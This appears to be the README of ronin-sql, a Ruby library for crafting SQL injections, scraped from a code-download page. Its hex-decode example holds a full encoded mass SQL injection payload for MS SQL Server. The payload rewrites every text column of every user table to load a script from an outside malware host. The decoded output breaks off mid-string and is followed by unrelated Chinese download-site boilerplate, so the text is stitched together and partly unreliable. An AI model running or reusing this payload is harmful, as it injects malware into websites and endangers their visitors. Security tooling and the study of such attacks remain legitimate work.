# ronin-sql

[![CI](https://github.com/ronin-rb/ronin-sql/actions/workflows/ruby.yml/badge.svg)](https://github.com/ronin-rb/ronin-sql/actions/workflows/ruby.yml)
[![Code Climate](https://codeclimate.com/github/ronin-rb/ronin-sql.svg)](https://codeclimate.com/github/ronin-rb/ronin-sql)

* [Source](https://github.com/ronin-rb/ronin-sql)
* [Issues](https://github.com/ronin-rb/ronin-sql/issues)
* [Documentation](https://ronin-rb.dev/docs/ronin-sql/frames)
* [Slack](https://ronin-rb.slack.com) |
  [Discord](https://discord.gg/6WAb3PsVX9) |
  [Twitter](https://twitter.com/ronin_rb)

## Description

{Ronin::SQL} is a Ruby DSL for crafting [SQL Injections (SQLi)][SQLi].

### Features

* Provides convenience methods for encoding/decoding SQL data.
* Provides an Domain Specific Language (DSL) for crafting normal SQL and
  [SQL injections][SQLi].

## Examples

### Convenience Methods

Escape a String:

```ruby
"O'Brian".sql_escape
# => "'O''Brian'"
```

Unescapes a SQL String:

```ruby
"'O''Brian'".sql_unescape
# => "O'Briand"
```

Hex encode a String:

```ruby
"exploit".sql_encode
# => "0x6578706c6f6974"
```

Hex decode a String:

```ruby
string = "4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72"
string.sql_decode
# => "DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''\">

		

			
				



				
			
		


		
		

			

				

					
部分文件列表（点击文件名可查看文件内容）
			  
			
			
			

					

									本源码包内暂不包含可直接显示的源代码文件，请下载源码包。